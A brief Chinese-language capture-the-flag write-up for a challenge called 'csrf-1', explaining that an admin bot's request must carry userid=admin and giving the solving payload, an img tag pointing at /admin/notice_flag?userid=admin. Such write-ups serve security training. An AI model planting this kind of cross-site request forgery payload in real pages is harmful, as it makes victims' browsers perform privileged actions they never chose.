csrf-1#

這次是會檢查透過 bot 進入到 /admin/notice_flag 頁面的參數有沒有包含 userid = “admin”

1
<img src="/admin/notice_flag?userid=admin">

得到 flag